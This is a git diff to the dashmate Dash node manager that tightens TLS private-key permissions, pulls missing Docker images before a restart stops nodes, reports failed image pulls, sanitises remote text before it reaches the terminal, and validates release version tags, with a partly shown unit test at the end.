diff --git a/packages/dashmate/configs/getConfigFileMigrationsFactory.js b/packages/dashmate/configs/getConfigFileMigrationsFactory.js index 077ebae1225..506afe73521 100644 --- a/packages/dashmate/configs/getConfigFileMigrationsFactory.js +++ b/packages/dashmate/configs/getConfigFileMigrationsFactory.js @@ -331,6 +331,13 @@ export default function getConfigFileMigrationsFactory(homeDir, defaultConfigs) if (fs.existsSync(oldFilePath)) { fs.mkdirSync(path.dirname(newFilePath), { recursive: true }); fs.copyFileSync(oldFilePath, newFilePath); + + // A copy keeps the permissions of the source, and the private key + // must not be readable by other users on the host + if (filename === 'private.key') { + fs.chmodSync(newFilePath, 0o600); + } + fs.rmSync(oldFilePath, { recursive: true }); } } @@ -712,6 +719,13 @@ export default function getConfigFileMigrationsFactory(homeDir, defaultConfigs) if (fs.existsSync(oldFilePath)) { fs.mkdirSync(path.dirname(newFilePath), { recursive: true }); fs.copyFileSync(oldFilePath, newFilePath); + + // A copy keeps the permissions of the source, and the private key + // must not be readable by other users on the host + if (filename === 'private.key') { + fs.chmodSync(newFilePath, 0o600); + } + fs.rmSync(oldFilePath, { recursive: true }); } } diff --git a/packages/dashmate/src/commands/config/default.js b/packages/dashmate/src/commands/config/default.js index d4ba6110c8f..e78a0274b0a 100644 --- a/packages/dashmate/src/commands/config/default.js +++ b/packages/dashmate/src/commands/config/default.js @@ -13,7 +13,6 @@ Shows default config name or sets another config as default name: 'config', required: false, description: 'config name', - default: null, // only allow input to be from a discrete set }, ), }; @@ -32,7 +31,8 @@ Shows default config name or sets another config as default configFile, configFileRepository, ) { - if (configName === null) { + // The argument is omitted when only the current default config name is requested + if (configName === undefined) { // eslint-disable-next-line no-console console.log(configFile.getDefaultConfigName()); } else { diff --git a/packages/dashmate/src/commands/group/default.js b/packages/dashmate/src/commands/group/default.js index 141ea558e66..b1edf55ef8f 100644 --- a/packages/dashmate/src/commands/group/default.js +++ b/packages/dashmate/src/commands/group/default.js @@ -13,7 +13,6 @@ Shows default group name or sets another group as default name: 'group', required: false, description: 'group name', - default: null, // only allow input to be from a discrete set }, ), }; @@ -32,7 +31,8 @@ Shows default group name or sets another group as default configFile, configFileRepository, ) { - if (groupName === null) { + // The argument is omitted when only the current default group name is requested + if (groupName === undefined) { // eslint-disable-next-line no-console console.log(configFile.getDefaultGroupName()); } else { diff --git a/packages/dashmate/src/commands/group/restart.js b/packages/dashmate/src/commands/group/restart.js index 0ba25f5f8c9..cc2c166ff49 100644 --- a/packages/dashmate/src/commands/group/restart.js +++ b/packages/dashmate/src/commands/group/restart.js @@ -1,6 +1,7 @@ import { Listr } from 'listr2'; import GroupBaseCommand from '../../oclif/command/GroupBaseCommand.js'; import MuteOneLineError from '../../oclif/errors/MuteOneLineError.js'; +import isServiceBuildRequired from '../../util/isServiceBuildRequired.js'; export default class GroupRestartCommand extends GroupBaseCommand { static description = 'Restart group nodes'; @@ -20,6 +21,7 @@ export default class GroupRestartCommand extends GroupBaseCommand { * @param {DockerCompose} dockerCompose * @param {stopNodeTask} stopNodeTask * @param {startGroupNodesTask} startGroupNodesTask + * @param {buildServicesTask} buildServicesTask * @param {Config[]} configGroup * @return {Promise} */ @@ -32,15 +34,49 @@ export default class GroupRestartCommand extends GroupBaseCommand { dockerCompose, stopNodeTask, startGroupNodesTask, + buildServicesTask, configGroup, ) { const groupName = configGroup[0].get('group'); + // The whole group shares one set of locally built images, so one config + // describes the build for all of them + const buildConfig = configGroup.find(isServiceBuildRequired); + const tasks = new Listr( { title: `Restart ${groupName} nodes`, task: async () => ( new Listr([ + { + // An image built from local sources is in no registry, so the + // pull below cannot confirm it. Building before the group is + // stopped is what keeps a build failure from leaving it down + enabled: () => Boolean(buildConfig), + title: 'Build services', + task: (ctx) => { + // The group start builds the same images, and would otherwise + // repeat the whole build on every restart + ctx.skipBuildServices = true; + + return buildServicesTask(buildConfig); + }, + }, + { + // Every node's images must be fetched before the first node is + // stopped, otherwise a failed pull leaves the group stopped + title: 'Pull missing images', + task: () => ( + new Listr(configGroup.map((config) => ({ + task: (ctx, task) => dockerCompose.pullMissingImages(config, { + onProgress: (message) => { + // eslint-disable-next-line no-param-reassign + task.output = message; + }, + }), + }))) + ), + }, { title: 'Stop nodes', task: () => ( diff --git a/packages/dashmate/src/commands/update.js b/packages/dashmate/src/commands/update.js index dc3d4617073..81b7e3eb043 100644 --- a/packages/dashmate/src/commands/update.js +++ b/packages/dashmate/src/commands/update.js @@ -118,7 +118,7 @@ export default class UpdateCommand extends ConfigBaseCommand { if (!result.ok) { // Nothing was fetched at all - not a per-image failure, which resolves - // as an error row and has always exited 0. Retained so it can be + // as an error row and is reported further down. Retained so it can be // raised once the certificate has had its say: returning quietly here // hands `update && start` a node whose images were never downloaded, // with no exit code for the caller to catch. @@ -137,16 +137,29 @@ export default class UpdateCommand extends ConfigBaseCommand { const colors = { updated: chalk.yellow, 'up to date': chalk.green, + 'built locally': chalk.gray, error: chalk.red, }; printArrayOfObjects(result.info.map(({ - name, title, updated, image, + name, title, updated, image, error, }) => (format === OUTPUT_FORMATS.PLAIN ? { Service: title, Image: image, Updated: colors[updated](updated) } : { - name, title, updated, image, + name, title, updated, image, error, })), format); + + const failedServices = result.info.filter(({ updated }) => updated === 'error'); + + if (failedServices.length > 0) { + const reasons = failedServices + .map(({ title, image, error }) => ` ${title} (${image}): ${error}`) + .join('\n'); + + // Reported on stderr so machine-readable output on stdout stays parseable + // eslint-disable-next-line no-console + console.error(`\nFailed to update ${failedServices.length} of ${result.info.length} images:\n\n${reasons}\n`); + } }; const tasks = new Listr( @@ -260,6 +273,9 @@ export default class UpdateCommand extends ConfigBaseCommand { throw new MuteOneLineError(unresolved); } - process.exitCode = 0; + // An image that failed to download is reported as a row in the table rather + // than thrown, so the exit code is the only thing that tells a caller apart + // an update that fetched everything from one that fetched some of it. + process.exitCode = this.pullResult?.failed > 0 ? 1 : 0; } } diff --git a/packages/dashmate/src/docker/DockerCompose.js b/packages/dashmate/src/docker/DockerCompose.js index a5bbb0889f8..9ac153b8b71 100644 --- a/packages/dashmate/src/docker/DockerCompose.js +++ b/packages/dashmate/src/docker/DockerCompose.js @@ -61,19 +61,26 @@ export default class DockerCompose { */ #getServiceList; + /** + * @type {dockerPull} + */ + #dockerPull; + /** * @param {Docker} docker * @param {StartedContainers} startedContainers * @param {HomeDir} homeDir * @param {generateEnvs} generateEnvs * @param {getServiceList} getServiceList + * @param {dockerPull} dockerPull */ - constructor(docker, startedContainers, homeDir, generateEnvs, getServiceList) { + constructor(docker, startedContainers, homeDir, generateEnvs, getServiceList, dockerPull) { this.#docker = docker; this.#startedContainers = startedContainers; this.#homeDir = homeDir; this.#generateEnvs = generateEnvs; this.#getServiceList = getServiceList; + this.#dockerPull = dockerPull; } /** @@ -498,6 +505,87 @@ export default class DockerCompose { } } + /** + * Pull images required by the config that are not present on the host + * + * Docker Compose pulls a missing image only when it creates the container, + * which during a restart happens after the node has already been stopped. + * A failed pull would then leave the node down, so images are fetched + * upfront and the caller can abort while the node is still running. + * + * @param {Config} config + * @param {Object} [options] + * @param {string[]} [options.profiles] - Filter by profiles + * @param {function} [options.onProgress] - Called with pull progress messages + * @return {Promise} images that have been pulled + */ + async pullMissingImages(config, { profiles = [], onProgress = undefined } = {}) { + await this.throwErrorIfNotInstalled(); + + let serviceList = this.#getServiceList(config); + + if (profiles.length > 0) { + // Compose creates a service when one of its profiles is enabled, and + // always creates a service that declares no profiles at all + serviceList = serviceList.filter((service) => service.profiles.length === 0 + || service.profiles.some((profile) => profiles.includes(profile))); + } + + const images = serviceList + // Images built from sources on this host are not available in a registry + .filter((service) => !service.isBuiltLocally) + .map((service) => service.image); + + const pulledImages = []; + + for (const image of new Set(images)) { + if (await this.#isImagePresent(image)) { + continue; + } + + try { + await this.#dockerPull(image, (message) => { + if (onProgress && message?.status) { + const progress = message.progress ? ` ${message.progress}` : ''; + + onProgress(`${image}: ${message.status}${progress}`); + } + }); + } catch (e) { + throw new Error(`Failed to pull image ${image}: ${e.message}`); + } + + // Docker can report a successful pull without producing the image, + // and the whole point of pulling here is to know the image is on the host + if (!await this.#isImagePresent(image)) { + throw new Error(`Failed to pull image ${image}: it is still not present on the host`); + } + + pulledImages.push(image); + } + + return pulledImages; + } + + /** + * @private + * @param {string} image + * @return {Promise} + */ + async #isImagePresent(image) { + try { + await this.#docker.getImage(image).inspect(); + + return true; + } catch (e) { + if (e.statusCode === 404) { + return false; + } + + throw new Error(`Failed to check image ${image}: ${e.message}`); + } + } + /** * Logs * diff --git a/packages/dashmate/src/docker/dockerPullFactory.js b/packages/dashmate/src/docker/dockerPullFactory.js index 5d58b3d24dc..e49347ab769 100644 --- a/packages/dashmate/src/docker/dockerPullFactory.js +++ b/packages/dashmate/src/docker/dockerPullFactory.js @@ -1,3 +1,5 @@ +import findPullStreamError from './findPullStreamError.js'; + /** * @param {Docker} docker * @return {dockerPull} @@ -6,9 +8,10 @@ export default function dockerPullFactory(docker) { /** * @typedef {dockerPull} * @param {string} image + * @param {function} [onProgress] - called with every pull stream message * @return {Promise<*>} */ - function dockerPull(image) { + function dockerPull(image, onProgress = undefined) { return new Promise((resolve, reject) => { docker.pull(image, (err, stream) => { if (err) { @@ -24,8 +27,18 @@ export default function dockerPullFactory(docker) { return; } + // followProgress collects stream messages without inspecting them, + // so a failed pull has to be recognized here + const streamError = findPullStreamError(output); + + if (streamError) { + reject(new Error(streamError)); + + return; + } + resolve(output); - }); + }, onProgress); }); }); } diff --git a/packages/dashmate/src/docker/findPullStreamError.js b/packages/dashmate/src/docker/findPullStreamError.js new file mode 100644 index 00000000000..58dacaf9ae0 --- /dev/null +++ b/packages/dashmate/src/docker/findPullStreamError.js @@ -0,0 +1,24 @@ +import sanitizeRemoteText from '../util/sanitizeRemoteText.js'; + +/** + * Find a failure reported inside a Docker pull progress stream + * + * Docker answers a pull request with 200 and then reports registry and disk + * failures as a message in the progress stream, so a completed stream doesn't + * mean the image was pulled. + * + * The registry chooses the text of that message and it ends up on the + * operator's terminal, so it is made safe to print before it is passed on. + * + * @param {Object[]} output - messages collected from the pull stream + * @return {string|undefined} failure reason + */ +export default function findPullStreamError(output) { + const failure = output.find((message) => message?.error); + + if (!failure) { + return undefined; + } + + return sanitizeRemoteText(failure.errorDetail?.message ?? failure.error); +} diff --git a/packages/dashmate/src/docker/getServiceListFactory.js b/packages/dashmate/src/docker/getServiceListFactory.js index eff5fac7574..15235f33e52 100644 --- a/packages/dashmate/src/docker/getServiceListFactory.js +++ b/packages/dashmate/src/docker/getServiceListFactory.js @@ -40,7 +40,9 @@ export default function getServiceListFactory(generateEnvs, getConfigProfiles) { // map to array of services and populate with data .map((composeFileServiceEntry) => { const [serviceName, - { image: serviceImage, labels, profiles: serviceProfiles }] = composeFileServiceEntry; + { + image: serviceImage, labels, profiles: serviceProfiles, build: serviceBuild, + }] = composeFileServiceEntry; const title = labels?.['org.dashmate.service.title']; @@ -48,6 +50,10 @@ export default function getServiceListFactory(generateEnvs, getConfigProfiles) { throw new Error(`Label for dashmate service ${serviceName} is not defined`); } + // A service with a build section is built from sources on this host, + // so its image exists only locally and can't be pulled from a registry + const isBuiltLocally = Boolean(serviceBuild); + // Use hardcoded version for dashmate helper // Or parse image env variable name and extract version from the env const serviceImageEnv = serviceImage.match(/([A-Z_]+)/); @@ -61,6 +67,7 @@ export default function getServiceListFactory(generateEnvs, getConfigProfiles) { name: serviceName, title, image, + isBuiltLocally, profiles: serviceProfiles ?? [], }); }); diff --git a/packages/dashmate/src/doctor/analyse/analyseConfigFactory.js b/packages/dashmate/src/doctor/analyse/analyseConfigFactory.js index 2219c23127a..57f35683eca 100644 --- a/packages/dashmate/src/doctor/analyse/analyseConfigFactory.js +++ b/packages/dashmate/src/doctor/analyse/analyseConfigFactory.js @@ -288,6 +288,22 @@ a working certificate.`, } } + // Gateway TLS private key permissions + const sslPrivateKeyMode = samples.getServiceInfo('gateway', 'sslPrivateKeyMode'); + + // eslint-disable-next-line no-bitwise + if (typeof sslPrivateKeyMode === 'number' && (sslPrivateKeyMode & 0o077) !== 0) { + const problem = new Problem( + `Gateway TLS private key is accessible to other users on this host (mode ${sslPrivateKeyMode.toString(8)}, expected 600)`, + chalk`Please make the private key accessible only to its owner: + {bold.cyanBright chmod 600 ~/.dashmate/${config.getName()}/platform/gateway/ssl/private.key} +Use your dashmate home directory if it is not the default one`, + SEVERITY.HIGH, + ); + + problems.push(problem); + } + if (samples?.getDashmateConfig()?.get('network') !== NETWORK_LOCAL) { // Core P2P port const coreP2pPort = samples.getServiceInfo('core', 'p2pPort'); diff --git a/packages/dashmate/src/listr/tasks/doctor/collectSamplesTaskFactory.js b/packages/dashmate/src/listr/tasks/doctor/collectSamplesTaskFactory.js index 22cb3855845..bc93cf59f18 100644 --- a/packages/dashmate/src/listr/tasks/doctor/collectSamplesTaskFactory.js +++ b/packages/dashmate/src/listr/tasks/doctor/collectSamplesTaskFactory.js @@ -141,6 +141,26 @@ export default function collectSamplesTaskFactory( enabled: () => config.get('platform.enable'), title: 'Gateway SSL certificates', task: async () => { + // The private key permissions are collected for every provider, + // since a key readable by other users is a problem regardless + // of how it was obtained + const privateKeyFilePath = homeDir.joinPath( + config.getName(), + 'platform', + 'gateway', + 'ssl', + 'private.key', + ); + + if (fs.existsSync(privateKeyFilePath)) { + ctx.samples.setServiceInfo( + 'gateway', + 'sslPrivateKeyMode', + // eslint-disable-next-line no-bitwise + fs.statSync(privateKeyFilePath).mode & 0o777, + ); + } + if (!config.get('platform.gateway.ssl.enabled')) { ctx.samples.setServiceInfo('gateway', 'ssl', { error: 'disabled', diff --git a/packages/dashmate/src/listr/tasks/restartNodeTaskFactory.js b/packages/dashmate/src/listr/tasks/restartNodeTaskFactory.js index 8751233e9da..3e45644e546 100644 --- a/packages/dashmate/src/listr/tasks/restartNodeTaskFactory.js +++ b/packages/dashmate/src/listr/tasks/restartNodeTaskFactory.js @@ -5,9 +5,22 @@ import isServiceBuildRequired from '../../util/isServiceBuildRequired.js'; * @param {startNodeTask} startNodeTask * @param {stopNodeTask} stopNodeTask * @param {buildServicesTask} buildServicesTask + * @param {DockerCompose} dockerCompose + * @param {getConfigProfiles} getConfigProfiles * @return {restartNodeTask} */ -export default function restartNodeTaskFactory(startNodeTask, stopNodeTask, buildServicesTask) { +export default function restartNodeTaskFactory( + startNodeTask, + stopNodeTask, + buildServicesTask, + dockerCompose, + getConfigProfiles, +) { + function selectPlatformProfiles(config) { + return getConfigProfiles(config) + .filter((profile) => profile.startsWith('platform')); + } + /** * Restart node * @typedef {restartNodeTask} @@ -26,6 +39,23 @@ export default function restartNodeTaskFactory(startNodeTask, stopNodeTask, buil return buildServicesTask(config); }, }, + { + // Missing images must be fetched while the node is still running, + // otherwise a failed pull leaves it stopped + title: 'Pull missing images', + task: (ctx, task) => { + // Pull only what the following start is going to create + const profiles = ctx.platformOnly ? selectPlatformProfiles(config) : []; + + return dockerCompose.pullMissingImages(config, { + profiles, + onProgress: (message) => { + // eslint-disable-next-line no-param-reassign + task.output = message; + }, + }); + }, + }, { task: () => stopNodeTask(config), }, diff --git a/packages/dashmate/src/listr/tasks/startGroupNodesTaskFactory.js b/packages/dashmate/src/listr/tasks/startGroupNodesTaskFactory.js index 43bce26bb6a..6c5e5b59d3a 100644 --- a/packages/dashmate/src/listr/tasks/startGroupNodesTaskFactory.js +++ b/packages/dashmate/src/listr/tasks/startGroupNodesTaskFactory.js @@ -55,7 +55,9 @@ export default function startGroupNodesTaskFactory( return new Listr([ { - enabled: () => platformBuildConfig, + // A caller that has already built the images - restart builds them + // before it stops anything - says so, and the build is not repeated + enabled: (ctx) => Boolean(platformBuildConfig) && !ctx.skipBuildServices, task: () => buildServicesTask(platformBuildConfig), }, { diff --git a/packages/dashmate/src/listr/tasks/startNodeTaskFactory.js b/packages/dashmate/src/listr/tasks/startNodeTaskFactory.js index a0b618272a4..673f2790fd0 100644 --- a/packages/dashmate/src/listr/tasks/startNodeTaskFactory.js +++ b/packages/dashmate/src/listr/tasks/startNodeTaskFactory.js @@ -1,3 +1,4 @@ +import fs from 'fs'; import { Listr } from 'listr2'; import path from 'path'; import { Observable } from 'rxjs'; @@ -84,6 +85,30 @@ export default function startNodeTaskFactory( ensureFileMountExists(hostAccessLogPath, 0o666); } + + // The gateway TLS private key must not be readable by other users on the host. + // Keys obtained before this was enforced keep their original permissions until + // they are replaced, so they are restricted here on every start + const privateKeyFilePath = homeDir.joinPath( + config.getName(), + 'platform', + 'gateway', + 'ssl', + 'private.key', + ); + + if (fs.existsSync(privateKeyFilePath)) { + try { + // Only the group and world bits are dropped, so an owner that + // hardened the key further keeps what it chose + // eslint-disable-next-line no-bitwise + fs.chmodSync(privateKeyFilePath, fs.statSync(privateKeyFilePath).mode & 0o700); + } catch (e) { + // Failing to restrict the key must not prevent the node from starting + // eslint-disable-next-line no-console + console.warn(`Can't restrict access to ${privateKeyFilePath}: ${e.message}`); + } + } } return new Listr([ diff --git a/packages/dashmate/src/status/providers.js b/packages/dashmate/src/status/providers.js index 24594477c18..dfe880826ab 100644 --- a/packages/dashmate/src/status/providers.js +++ b/packages/dashmate/src/status/providers.js @@ -1,33 +1,188 @@ import https from 'https'; +import semver from 'semver'; const MAX_REQUEST_TIMEOUT = 5000; const MAX_RESPONSE_SIZE = 1 * 1024 * 1024; // 1 MB -const request = async (url) => { +// A remote version string is printed to the operator's terminal, included in JSON +// output and passed to package managers, so only a strict semver shape is accepted. +// The anchors and character classes leave no room for control or ANSI escape +// characters, nor for the specifiers a package manager would treat as a location to +// install from (git+https://…, file:…, https://….tgz, npm: aliases). +const VERSION_REGEX = /^\d+\.\d+\.\d+(-[0-9A-Za-z.-]+)?(\+[0-9A-Za-z.-]+)?$/; + +const MAX_LOG_LENGTH = 200; + +// Characters that let remote text hijack a terminal line or disguise itself in the +// output: C0 and C1 controls (including the escape that opens an ANSI sequence), zero +// width characters, line separators, and the bidirectional overrides and isolates that +// reorder what an operator reads. Matching them is the point, hence the disabled rule. +// eslint-disable-next-line no-control-regex +const UNSAFE_LOG_CHARACTERS_REGEX = /[\u0000-\u001f\u007f-\u009f\u200b-\u200f\u2028-\u2029\u202a-\u202e\u2066-\u2069\ufeff]/g; + +/** + * Make text received from a remote host safe to print + * + * Error messages quote the payload that failed to parse, so remote bytes reach the + * terminal through diagnostics even when the value itself is rejected. Both the + * dangerous characters and the length are bounded here. + * + * @param {*} text + * @returns {string} + */ +const sanitizeForLog = (text) => (typeof text === 'string' + ? text.replace(UNSAFE_LOG_CHARACTERS_REGEX, '').slice(0, MAX_LOG_LENGTH) + : '[unprintable]'); + +const request = async (url, options = {}) => { try { return await fetch(url, { + ...options, signal: AbortSignal.timeout(MAX_REQUEST_TIMEOUT), }); } catch (e) { - if (e.name === 'FetchError' || e.name === 'AbortError') { - if (process.env.DEBUG) { - // eslint-disable-next-line no-console - console.warn(`Could not fetch: ${e}`); + // Every transport failure (DNS, connection reset, timeout, abort) is reported as + // an unknown result. Callers use these providers to enrich output, so an + // unreachable remote host must never fail the command that called them. + if (process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn(`Could not fetch ${url}: ${e.name}: ${sanitizeForLog(e.message)}`); + } + + return null; + } +}; + +/** + * Read a response body, giving up as soon as it exceeds the size limit + * + * @param {Response} response + * @returns {Promise} body text, or null if it is too big to read + */ +const readCappedBody = async (response) => { + const declaredSize = Number(response.headers.get('content-length')); + + if (Number.isFinite(declaredSize) && declaredSize > MAX_RESPONSE_SIZE) { + if (process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn(`Response of ${declaredSize} bytes exceeds the size limit`); + } + + // The body is never read on this path, and until it is cancelled the connection + // stays checked out of the pool + response.body?.cancel().catch(() => {}); + + return null; + } + + if (!response.body) { + return null; + } + + const chunks = []; + let size = 0; + + try { + // The declared size is only a hint, so the body is also measured while it is read + // and the connection is dropped before an unbounded response can exhaust memory + for await (const chunk of response.body) { + size += chunk.length; + + if (size > MAX_RESPONSE_SIZE) { + if (process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn('Response size exceeded'); + } + + return null; } - return null; + + chunks.push(chunk); + } + } catch (e) { + // The connection can still drop after the headers arrived, leaving a truncated body + if (process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn(`Could not read response: ${sanitizeForLog(e.message)}`); + } + + return null; + } + + return Buffer.concat(chunks).toString('utf8'); +}; + +const requestJSON = async (url, options = {}) => { + const response = await request(url, options); + + if (!response) { + return null; + } + + // Error responses, including GitHub's 403 when the unauthenticated rate limit is + // hit, carry no usable data and are indistinguishable from an unreachable host + if (!response.ok) { + if (process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn(`Request to ${url} failed with status code ${response.status}`); + } + + // The body is never read on this path, and until it is cancelled the connection + // stays checked out of the pool + response.body?.cancel().catch(() => {}); + + return null; + } + + const body = await readCappedBody(response); + + if (body === null) { + return null; + } + + try { + return JSON.parse(body); + } catch (e) { + if (process.env.DEBUG) { + // The parser quotes an excerpt of the payload it choked on, so this message + // carries remote bytes and cannot be printed as it stands + // eslint-disable-next-line no-console + console.warn(`Could not parse response from ${url}: ${sanitizeForLog(e.message)}`); } - throw e; + + return null; } }; -const requestJSON = async (url) => { - const response = await request(url); +/** + * Extract a version from a release tag name, rejecting anything that is not a version + * + * The tag name is arbitrary text chosen by whoever cut the release, so it is validated + * here, at the boundary, before it can be stored, printed or handed to a package + * manager. + * + * @param {*} tagName + * @returns {string|null} version, or null if the tag does not name one + */ +const parseVersionFromTagName = (tagName) => { + if (typeof tagName !== 'string') { + return null; + } + + // Release tags are conventionally prefixed with "v", but the prefix is optional + const version = tagName.startsWith('v') ? tagName.slice(1) : tagName; - if (response) { - return response.json(); + // semver rejects what the shape check cannot, such as leading zeroes in "01.2.3", + // and normalizes the result: build metadata is dropped, because version comparison + // ignores it while a package manager would refuse to resolve a version carrying it + const normalizedVersion = VERSION_REGEX.test(version) ? semver.valid(version) : null; + + if (normalizedVersion === null && process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn(`Ignoring release tag that is not a version: ${sanitizeForLog(tagName)}`); } - return response; + return normalizedVersion; }; const insightURLs = { @@ -37,28 +192,73 @@ const insightURLs = { export default { insight: (chain) => ({ + /** + * Get the status of an insight instance. + * + * @returns {Promise} A promise that resolves to the status, or to null + * when it cannot be determined. A host that answers with something other than a + * status, such as a maintenance or CDN error page served with a 200, counts as + * undetermined: callers read the block height without re-checking its type. + */ status: async () => { if (!insightURLs[chain]) { return null; } - return requestJSON(`${insightURLs[chain]}/status`); + const json = await requestJSON(`${insightURLs[chain]}/status`); + + // Requiring the one field callers use, with the type they expect, keeps text + // chosen by the remote host from reaching the terminal and the JSON output + if (!Number.isInteger(json?.info?.blocks) || json.info.blocks < 0) { + if (process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn(`Insight ${chain} did not report a block height`); + } + + return null; + } + + return json; }, }), github: { + /** + * Get the version of the latest release of a GitHub repository. + * + * GitHub reports the most recently *published* release, which is not necessarily + * the highest version: a patch back-ported to an older branch and published after + * a newer release is reported here. A caller that acts on this version, rather + * than only displaying it, must compare it against the version it already has, + * or it can walk backwards onto an older release. + * + * @param {string} repoSlug - The owner and name of the repository. + * @returns {Promise} A promise that resolves to the version, or to + * null when it cannot be determined, including when the host is unreachable, the + * API rate limit is exhausted, or the release is not tagged with a version. + */ release: async (repoSlug) => { - const json = await requestJSON(`https://api.github.com/repos/${repoSlug}/releases/latest`); + const headers = {}; - if (json.message) { - if (process.env.DEBUG) { - // eslint-disable-next-line no-console - console.warn(`Github API: ${json.message}`); - } + // Unauthenticated requests share a per-IP rate limit, which a fleet behind one + // address exhausts quickly, so authenticate when a token is available. Tokens + // are commonly read from a file, and the trailing newline that comes with them + // is an illegal header value that would fail the request instead + const token = process.env.GITHUB_TOKEN?.trim(); + + if (token) { + headers.Authorization = `Bearer ${token}`; + } + + const json = await requestJSON( + `https://api.github.com/repos/${repoSlug}/releases/latest`, + { headers }, + ); + if (!json) { return null; } - return json.tag_name.substring(1); + return parseVersionFromTagName(json.tag_name); }, }, mnowatch: { diff --git a/packages/dashmate/src/update/updateNodeFactory.js b/packages/dashmate/src/update/updateNodeFactory.js index 0f50d44acbc..149b66a668a 100644 --- a/packages/dashmate/src/update/updateNodeFactory.js +++ b/packages/dashmate/src/update/updateNodeFactory.js @@ -1,4 +1,6 @@ import lodash from 'lodash'; +import findPullStreamError from '../docker/findPullStreamError.js'; +import sanitizeRemoteText from '../util/sanitizeRemoteText.js'; /** * @param {getServiceList} getServiceList @@ -19,53 +21,74 @@ export default function updateNodeFactory(getServiceList, docker) { return Promise.all( lodash.uniqBy(services, 'image') - .map(async ({ name, image, title }) => new Promise((resolve) => { - docker.pull(image, (err, stream) => { - if (err) { - if (process.env.DEBUG) { - // eslint-disable-next-line no-console - console.error(`Failed to update ${name} service, image ${image}, error: ${err}`); + .map(async ({ + name, title, image, isBuiltLocally, + }) => { + // An image built from sources on this host has nothing to pull + if (isBuiltLocally) { + return { + name, title, image, updated: 'built locally', + }; + } + + return new Promise((resolve) => { + docker.pull(image, (err, stream) => { + if (err) { + // A registry response body can reach the operator's terminal + // through this message, so it is made safe to print + resolve({ + name, title, image, updated: 'error', error: sanitizeRemoteText(err.message), + }); + + return; } - resolve({ - name, title, image, updated: 'error', - }); - } else { - let updated = 'error'; + // followProgress owns the stream: it joins messages split across + // chunks, splits them the way Docker writes them and reports + // transport failures. A failed pull arrives as a regular message + docker.modem.followProgress(stream, (streamError, output) => { + const error = sanitizeRemoteText(streamError?.message) + ?? findPullStreamError(output); - stream.on('data', (data) => { - // parse all stdout and gather Status message - const [status] = data - .toString() - .trim() - .split('\r\n') - .map((str) => JSON.parse(str)) - .filter((obj) => obj?.status?.startsWith('Status: ')); + if (error) { + resolve({ + name, title, image, updated: 'error', error, + }); - if (status) { - if (status.status.includes('Image is up to date for')) { - updated = 'up to date'; - } else if (status.status.includes('Downloaded newer image for')) { - updated = 'updated'; - } + return; } - }); - stream.on('error', () => { - if (process.env.DEBUG) { - // eslint-disable-next-line no-console - console.error(`Failed to update ${name} service, image ${image}, error: ${err}`); + + const status = output + .find((message) => message?.status?.startsWith('Status: ')) + ?.status; + + if (status?.includes('Image is up to date for')) { + resolve({ + name, title, image, updated: 'up to date', + }); + + return; + } + + if (status?.includes('Downloaded newer image for')) { + resolve({ + name, title, image, updated: 'updated', + }); + + return; } resolve({ - name, title, image, updated: 'error', + name, + title, + image, + updated: 'error', + error: 'Docker did not report the pull result', }); }); - stream.on('end', () => resolve({ - name, title, image, updated, - })); - } + }); }); - })), + }), ); } diff --git a/packages/dashmate/src/util/sanitizeRemoteText.js b/packages/dashmate/src/util/sanitizeRemoteText.js new file mode 100644 index 00000000000..dd713bce0be --- /dev/null +++ b/packages/dashmate/src/util/sanitizeRemoteText.js @@ -0,0 +1,43 @@ +/** + * Longest remote message that is printed. Long enough for a registry error to + * stay useful, short enough that it cannot push the rest of the output out of + * the operator's scrollback. + */ +const MAX_LENGTH = 500; + +/** + * Characters that must never reach a terminal: the C0 controls, which include + * ESC and therefore every ANSI sequence, DEL, the C1 controls, and the + * bidirectional overrides that let text reorder how it is displayed. + */ +// eslint-disable-next-line no-control-regex +const UNPRINTABLE = /[\u0000-\u001F\u007F-\u009F\u061C\u200B-\u200F\u2028\u2029\u202A-\u202E\u2066-\u2069\uFEFF]/g; + +/** + * Make text received from a remote service safe to print + * + * A Docker registry chooses the text of the errors it returns, and that text is + * relayed to the operator's terminal. Escape sequences in it can rewrite lines + * that were already printed, hide what follows or address the terminal itself, + * so nothing but printable characters is passed on. + * + * @param {*} text + * @return {*} the text with control characters removed and its length bounded, + * or the value unchanged when it is not a string + */ +export default function sanitizeRemoteText(text) { + if (typeof text !== 'string') { + return text; + } + + const printable = text + .replace(UNPRINTABLE, ' ') + .replace(/ {2,}/g, ' ') + .trim(); + + if (printable.length <= MAX_LENGTH) { + return printable; + } + + return `${printable.slice(0, MAX_LENGTH)} (truncated)`; +} diff --git a/packages/dashmate/test/unit/commands/config/default.spec.js b/packages/dashmate/test/unit/commands/config/default.spec.js new file mode 100644 index 00000000000..12713c82629 --- /dev/null +++ b/packages/dashmate/test/unit/commands/config/default.spec.js @@ -0,0 +1,80 @@ +import { Parser } from '@oclif/core'; +import ConfigDefaultCommand from '../../../../src/commands/config/default.js'; +import ConfigFile from '../../../../src/config/configFile/ConfigFile.js'; +import HomeDir from '../../../../src/config/HomeDir.js'; +import getBaseConfigFactory from '../../../../configs/defaults/getBaseConfigFactory.js'; + +describe('Config default command', () => { + const flags = {}; + + let configFile; + let baseConfigName; + let consoleLog; + let configFileRepository; + + /** + * Parse the command line the same way oclif does at runtime, so the test + * exercises the command's own argument definitions and not a hand-made object. + * + * @param {string[]} argv + * @returns {Promise} + */ + async function parseArgs(argv) { + const { args } = await Parser.parse(argv, { args: ConfigDefaultCommand.args }); + + return args; + } + + beforeEach(async function beforeEach() { + const getBaseConfig = getBaseConfigFactory(HomeDir.createTemp()); + const baseConfig = getBaseConfig(); + + baseConfigName = baseConfig.getName(); + + configFile = new ConfigFile([baseConfig], '1.0.0', null, baseConfigName, null); + + consoleLog = this.sinon.stub(console, 'log'); + + // The command reads, changes and saves in one locked step, so the double + // hands the mutation the config file the assertions look at + configFileRepository = { + update: this.sinon.stub().callsFake((mutate) => mutate(configFile)), + }; + }); + + it('should print default config name if config name is not specified', async function it() { + const command = new ConfigDefaultCommand(); + + const setDefaultConfigName = this.sinon.spy(configFile, 'setDefaultConfigName'); + + await command.runWithDependencies( + await parseArgs([]), + flags, + configFile, + configFileRepository, + ); + + expect(consoleLog).to.be.calledOnceWith(baseConfigName); + + // 